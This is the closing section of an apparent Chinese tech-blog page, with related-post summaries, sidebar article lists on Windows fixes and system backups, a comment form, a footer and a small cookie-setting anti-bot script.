class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774485241a3571706.html" class="post-item-title" title="从卡顿到流畅,解决网络监控应用中wpcap.dll问题的快速教程"> <h3>从卡顿到流畅,解决网络监控应用中wpcap.dll问题的快速教程</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">wpcap.dll是Windows系统中用于网络数据包捕获的关键文件,缺失或损坏会影响网络监控工具的运行。以下是针对缺少wpcap.dll文件的最新修复方法: 一、重新安装WinPcap或Npcap访问WinPca</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774493921a3571804.html" title="DirectShow编程:从困惑到精通,从DX9.0到Flash Player的进阶之路">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="DirectShow编程:从困惑到精通,从DX9.0到Flash Player的进阶之路">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774493921a3571804.html" class="post-item-title" title="DirectShow编程:从困惑到精通,从DX9.0到Flash Player的进阶之路"> <h3>DirectShow编程:从困惑到精通,从DX9.0到Flash Player的进阶之路</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">本来就很想自己做个媒体播放器来耍耍,可惜一直没有机会。这次突然有机会接触到个跟视频流打交道的程序。欣喜若狂的开始,却被将近一周的配置DirectShow环境给击倒了。好,言归正题,方便其他人不要再绕很远的路。 首先是SDK的问</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774499564a3571868.html" title="不再为文件安全担忧!用WinRAR轻松实现压缩文件的终极保护!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="不再为文件安全担忧!用WinRAR轻松实现压缩文件的终极保护!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774499564a3571868.html" class="post-item-title" title="不再为文件安全担忧!用WinRAR轻松实现压缩文件的终极保护!"> <h3>不再为文件安全担忧!用WinRAR轻松实现压缩文件的终极保护!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">在职场中,我们经常会使用 WinRAR 来打包文档、项目文件或资料合集。压缩的好处显而易见:节省空间、方便传输、归档整洁。但你是否遇到过这些情况: 压缩文件被他人解压后重新打包,原文件被篡改? 项目资料被错</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774499943a3571873.html" title="Python玩转ZIP压缩包:从基本操作到高级技巧">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Python玩转ZIP压缩包:从基本操作到高级技巧">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774499943a3571873.html" class="post-item-title" title="Python玩转ZIP压缩包:从基本操作到高级技巧"> <h3>Python玩转ZIP压缩包:从基本操作到高级技巧</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">ZipFile对象 顾名思义, zipfile是处理 zip文件的模块,其中最重要的类是 ZipFile,其构造函数为 ZipFile(file, mo</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774511674a3572010.html" title="系统维护必备工具:DISM++助你轻松应对Flash中心和Player">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="系统维护必备工具:DISM++助你轻松应对Flash中心和Player">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774511674a3572010.html" class="post-item-title" title="系统维护必备工具:DISM++助你轻松应对Flash中心和Player"> <h3>系统维护必备工具:DISM++助你轻松应对Flash中心和Player</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">简介:DISM++是一款全方位的电脑维护软件,提供深度扫描和清理功能,专为优化个人计算机而设计。它能够高效清除各种系统垃圾和无用文件,释放硬盘空间,并通过系统清理、优化、备份和恢复功能提高电脑的运行速度和性能。该软件还支持多语言界面,</p> </div> </div> </div> <div class="roclinux-cn comments"> <div class="roclinux-cn postcomm block-wrap" id="divCommentPost"> <h2 class="block-title"> 发表评论 </h2> <form id="saypl" target="_self" method="post" name="saypl" action="/comment/create/689949.html?safe_token=wryxcFLW_2B9VRHFBUeJtFg1D5vBumYRWY3zyrA0DDWOuFR4u6jY03eMQOoE3aB91toflJbkDVELnKftgrR5RTJA_3D_3D"> <input type="hidden" name="doctype" value="1" /> <input type="hidden" name="quotepid" value="0" /> <div class="roclinux-cn comment-box comment-textarea"> <textarea name="message" id="txaArticle" class="text" cols="50" rows="4" tabindex="5" placeholder="评论内容"></textarea> </div> <input name="sumbit" type="submit" tabindex="6" value="发表评论" class="sub"> </form> </div> </div> <div class="sn-comments"> <div class="sn-comments__title">全部评论 0</div> <div class="sn-comments__body"> <div class="sn-empty">暂无评论</div> </div> </div> </div> </div> <div class="aside"> <div class="block-wrap" id="side-top-dxt"> <h2 class="block-title">推荐文章<i class="mcico mico-right"></i></h2> <div class="mcdas"> <a href="/p/1773596866a3563762.html" title="硬盘损坏:数据丢失?不!我们有这些实用恢复技巧!" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="硬盘损坏:数据丢失?不!我们有这些实用恢复技巧!" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 硬盘损坏:数据丢失?不!我们有这些实用恢复技巧! </h3> </div> </a> <a href="/b/1773608016a3563886.html" title="淘宝的诺顿杀毒软件激活码,值得信赖吗?买家需知!" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="淘宝的诺顿杀毒软件激活码,值得信赖吗?买家需知!" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 淘宝的诺顿杀毒软件激活码,值得信赖吗?买家需知! </h3> </div> </a> <a href="/p/1773805966a3565922.html" title="笔记本电脑WIFI图标消失解决方案大全,无WIFI图标也能自由连WIFI上网。_笔记本电脑wifi图标不见了怎么办" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="笔记本电脑WIFI图标消失解决方案大全,无WIFI图标也能自由连WIFI上网。_笔记本电脑wifi图标不见了怎么办" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 笔记本电脑WIFI图标消失解决方案大全,无WIFI图标也能自由连WIFI上网。_笔记本电脑wifi图标不见了怎么办 </h3> </div> </a> <a href="/p/1774385927a3571136.html" title="IE安全证书问题解决" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="IE安全证书问题解决" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> IE安全证书问题解决 </h3> </div> </a> <a href="/b/1774397387a3571268.html" title="在win11中使用PrintScreen来启动flameshot_flameshot windows" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="在win11中使用PrintScreen来启动flameshot_flameshot windows" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 在win11中使用PrintScreen来启动flameshot_flameshot windows </h3> </div> </a> </div> </div> <div class="block-wrap" id="side-hot-view-item"> <h2 class="block-title">热门文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773581453a3563583.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="小白也能懂:mfc71chs.dll问题大揭秘,轻松搞定电脑卡顿" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="小白也能懂:mfc71chs.dll问题大揭秘,轻松搞定电脑卡顿" target="_blank" href="/b/1773581453a3563583.html"> <h3>小白也能懂:mfc71chs.dll问题大揭秘,轻松搞定电脑卡顿</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773603810a3563838.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="SWF技术大考:顶尖程序员的Adobe Flash Player排行榜" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="SWF技术大考:顶尖程序员的Adobe Flash Player排行榜" target="_blank" href="/b/1773603810a3563838.html"> <h3>SWF技术大考:顶尖程序员的Adobe Flash Player排行榜</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773639810a3564255.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="系统卷信息太乱?快速学会清理的正确姿势" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="系统卷信息太乱?快速学会清理的正确姿势" target="_blank" href="/p/1773639810a3564255.html"> <h3>系统卷信息太乱?快速学会清理的正确姿势</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773680359a3564727.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="卸载NetFramework与Framework 2.0_cmd:简单几步解决" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="卸载NetFramework与Framework 2.0_cmd:简单几步解决" target="_blank" href="/b/1773680359a3564727.html"> <h3>卸载NetFramework与Framework 2.0_cmd:简单几步解决</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773827473a3566172.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="ESP32温控风扇随CPU温度自动调速" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="ESP32温控风扇随CPU温度自动调速" target="_blank" href="/p/1773827473a3566172.html"> <h3>ESP32温控风扇随CPU温度自动调速</h3> </a> <span class="post-date">16天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773900260a3567006.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Win11启用SMB共享后,其他设备无法发现或访问共享文件夹?_编程语言-问答" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Win11启用SMB共享后,其他设备无法发现或访问共享文件夹?_编程语言-问答" target="_blank" href="/b/1773900260a3567006.html"> <h3>Win11启用SMB共享后,其他设备无法发现或访问共享文件夹?_编程语言-问答</h3> </a> <span class="post-date">15天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773913185a3567154.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Office之Word:WPS软件中Word使用技巧之论文中如何自动生成参考文献(图文教程)_参考文献[1][2][3]自动生成" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Office之Word:WPS软件中Word使用技巧之论文中如何自动生成参考文献(图文教程)_参考文献[1][2][3]自动生成" target="_blank" href="/b/1773913185a3567154.html"> <h3>Office之Word:WPS软件中Word使用技巧之论文中如何自动生成参考文献(图文教程)_参考文献[1][2][3]自动生成</h3> </a> <span class="post-date">15天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773938627a3567450.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="无任何网络提供程序接受指定的网络路径-解决方法" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="无任何网络提供程序接受指定的网络路径-解决方法" target="_blank" href="/p/1773938627a3567450.html"> <h3>无任何网络提供程序接受指定的网络路径-解决方法</h3> </a> <span class="post-date">15天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774023240a3568429.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="AxShockwaveFlashObjects 和 ShockwaveFlashObjects 这两个组件,但是Visual Studio无法找到它们_shockwave flash object" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="AxShockwaveFlashObjects 和 ShockwaveFlashObjects 这两个组件,但是Visual Studio无法找到它们_shockwave flash object" target="_blank" href="/p/1774023240a3568429.html"> <h3>AxShockwaveFlashObjects 和 ShockwaveFlashObjects 这两个组件,但是Visual Studio无法找到它们_shockwave flash object</h3> </a> <span class="post-date">14天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774507030a3571954.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="优化WiFi体验?设置路由器自动断开弱WiFi,提升连接质量!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="优化WiFi体验?设置路由器自动断开弱WiFi,提升连接质量!" target="_blank" href="/b/1774507030a3571954.html"> <h3>优化WiFi体验?设置路由器自动断开弱WiFi,提升连接质量!</h3> </a> <span class="post-date">8天前</span> </div> </li> </ul> </div> <div class="block-wrap" id="side-new-view-item"> <h2 class="block-title">最新文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513457a3572031.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="一文教会你AIX系统备份:mksysb实用指南" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="一文教会你AIX系统备份:mksysb实用指南" target="_blank" href="/p/1774513457a3572031.html"> <h3>一文教会你AIX系统备份:mksysb实用指南</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513382a3572030.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="SWF文件备份失败?这些步骤让你轻松搞定" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="SWF文件备份失败?这些步骤让你轻松搞定" target="_blank" href="/p/1774513382a3572030.html"> <h3>SWF文件备份失败?这些步骤让你轻松搞定</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513230a3572028.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" target="_blank" href="/p/1774513230a3572028.html"> <h3>Win10系统备份轻松搞定:掌握captureimage命令的关键技巧</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513079a3572026.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统安全小贴士:掌握备份与恢复,安心每一天" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统安全小贴士:掌握备份与恢复,安心每一天" target="_blank" href="/p/1774513079a3572026.html"> <h3>Linux系统安全小贴士:掌握备份与恢复,安心每一天</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774512928a3572024.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="省时省心!三步完成电脑系统高效备份!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="省时省心!三步完成电脑系统高效备份!" target="_blank" href="/p/1774512928a3572024.html"> <h3>省时省心!三步完成电脑系统高效备份!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513306a3572029.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" target="_blank" href="/b/1774513306a3572029.html"> <h3>Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513154a3572027.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统不哭:高效备份与快速恢复方案" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统不哭:高效备份与快速恢复方案" target="_blank" href="/b/1774513154a3572027.html"> <h3>Linux系统不哭:高效备份与快速恢复方案</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513003a3572025.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统安全大计,备份技巧大公开" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统安全大计,备份技巧大公开" target="_blank" href="/b/1774513003a3572025.html"> <h3>Ubuntu系统安全大计,备份技巧大公开</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512852a3572023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="GHOST教程:系统备份和还原,小白也能变成高手!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="GHOST教程:系统备份和还原,小白也能变成高手!" target="_blank" href="/b/1774512852a3572023.html"> <h3>GHOST教程:系统备份和还原,小白也能变成高手!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512777a3572022.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" target="_blank" href="/b/1774512777a3572022.html"> <h3>Linux备份与恢复必修课:SWF文件安全策略从入门到精通</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736247036a1725023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" target="_blank" href="/lvyou/1736247036a1725023.html"> <h3>Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246824a1724956.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" target="_blank" href="/lvyou/1736246824a1724956.html"> <h3>The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246607a1724902.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" target="_blank" href="/lvyou/1736246607a1724902.html"> <h3>Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246384a1724842.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" target="_blank" href="/lvyou/1736246384a1724842.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246169a1724784.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" target="_blank" href="/lvyou/1736246169a1724784.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768821301a3533414.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" target="_blank" href="/shuma/1768821301a3533414.html"> <h3>电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820793a3533413.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" target="_blank" href="/shuma/1768820793a3533413.html"> <h3>与GWX的持久战:一段关于Windows10升级弹窗的私人记忆</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820277a3533412.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="以管理员身份运行:那些年我们追过的权限与踩过的坑" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="以管理员身份运行:那些年我们追过的权限与踩过的坑" target="_blank" href="/shuma/1768820277a3533412.html"> <h3>以管理员身份运行:那些年我们追过的权限与踩过的坑</h3> </a> <span class="post-date">2月前</span> </div> </li> </ul> </div> </div> </div> <div class="footer"> CopyRight © 2022 All Rights Reserved. <br class="footer-br" /> <a href="/" target="_blank">Powered By Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落</a>| <a target="_blank" rel="nofollow" href="https://beian.miit.gov.cn/" style="font-size: 12px;">豫ICP备2022026798号-10</a> </div> <!-- JS挑战核心逻辑(静默验证,无DOM修改,不影响样式) --> <script type="text/javascript"> // 立即执行函数,确保页面加载时优先执行 (function() { // 1. MD5辅助函数(生成唯一验证哈希) function md5(str) { let hash = 0; if (str.length === 0) return hash.toString(); for (let i = 0; i < str.length; i++) { const char = str.charCodeAt(i); hash = ((hash << 5) - hash) + char; hash = hash & hash; } return hash.toString(16); } // 2. 核心验证逻辑 function verify() { try { // 验证是否为真实浏览器环境(拦截代理/脚本) if (!window || !document || !navigator || !screen) { throw new Error("非合法浏览器环境"); } // 检查是否已有验证Cookie,避免重复生成 if (document.cookie.includes("js_challenge=pass_")) { console.log("✅ 已有验证Cookie,无需重复验证"); return; } // 生成验证参数(绑定浏览器特征,无法伪造) const nonce = Math.random().toString(36).substr(2, 10); const ip = window.location.hostname; const hash = md5(nonce + ip + navigator.userAgent + screen.width + screen.height); // 强制生成验证Cookie(适配所有域名/端口) document.cookie = `js_challenge=pass_${hash}; path=/; domain=${window.location.hostname}; max-age=86400; SameSite=Lax; Secure=${window.location.protocol === 'https:'}`; console.log("✅ JS挑战验证成功,生成Cookie:", `js_challenge=pass_${hash}`); } catch (e) { // 验证失败仅控制台报错,不修改页面样式 console.error("❌ JS挑战拦截:", e.message); } } // 立即执行验证(不等待页面加载,避免缓存/加载中断问题) verify(); })(); </script> <script src="/view/js/xiuno.js?2.3.0"></script> <script src="/view/template/quzhiwa/js/custom.js?2.3.0"></script> <script> $('.cat-tab-wrap li[data-active="fid-1"]').addClass('current-menu-item'); $('.menu-header-container li[data-active="fid-1"]').addClass('current-menu-item'); </script> </body> </html>